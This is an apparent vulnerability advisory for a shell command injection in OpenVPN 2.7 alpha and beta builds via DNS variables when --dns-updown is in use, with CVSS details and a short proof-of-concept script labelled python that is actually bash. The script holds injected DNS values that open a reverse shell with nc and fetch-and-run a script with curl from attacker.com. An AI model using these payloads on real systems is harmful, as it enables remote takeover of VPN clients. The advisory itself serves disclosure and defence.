OpenVPN 2.7_alpha1 through 2.7_beta1 on POSIX based platforms allows a remote authenticated server to inject shell commands via DNS variables when --dns-updown is in use
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
OpenVPN 2.7_alpha1
OpenVPN 2.7_alpha2
OpenVPN 2.7_alpha3
OpenVPN 2.7_alpha4
OpenVPN 2.7_beta1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2025-10680 PoC - OpenVPN DNS Command Injection
# This PoC demonstrates the command injection vulnerability in OpenVPN's DNS handling
# when --dns-updown is enabled
# Note: This is for educational and security research purposes only
# Attacker would need to control the OpenVPN server to exploit this vulnerability
# Simulated malicious DNS configuration that could be sent by a malicious server
MALICIOUS_DOMAIN="test.com;nc -e /bin/bash attacker.com 4444 #"
MALICIOUS_SEARCH_DOMAIN="test.local;curl http://attacker.com/shell.sh|bash #"
# The vulnerable code pattern (simplified representation):
# DNS variables are passed directly to shell scripts without sanitization
#
# In openvpn's dns-updown script execution:
# system("update_dns " + dns_variable)
#
# If dns_variable contains: test.com;nc -e /bin/bash attacker.com 4444
# The command becomes:
# update_dns test.com;nc -e /bin/bash attacker.com 4444
#
# This results in arbitrary command execution on the client
# Example vulnerable shell command construction:
VULNERABLE_CMD="update-resolv-conf $MALICIOUS_DOMAIN"
echo "Vulnerable command would be: $VULNERABLE_CMD"
# This would execute: update-resolv-conf test.com;nc -e /bin/bash attacker.com 4444
# Exploitation requires:
# 1. OpenVPN client with --dns-updown enabled
# 2. Connection to malicious or compromised OpenVPN server
# 3. Server sending crafted DNS responses with shell metacharacters